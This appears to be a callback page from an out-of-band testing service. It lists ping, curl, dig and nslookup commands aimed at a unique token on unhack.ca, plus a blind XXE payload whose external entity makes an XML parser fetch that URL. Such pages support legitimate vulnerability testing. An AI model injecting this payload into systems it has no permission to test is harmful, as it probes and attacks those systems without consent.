$ ping -c1 -p 0084fd2be7a5b4209548fb49f726e200 unhack.ca
 
$ curl http://unhack.ca/p/84fd2be7a5b4209548fb49f726e2
 
$ dig 84fd2be7a5b4209548fb49f726e2 @unhack.ca
 
$ dig 84fd2be7a5b4209548fb49f726e2.ns.unhack.ca
 
C:\> nslookup 84fd2be7a5b4209548fb49f726e2 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/84fd2be7a5b4209548fb49f726e2">]>
    <foo>&xxe;</foo>
Waiting for ping...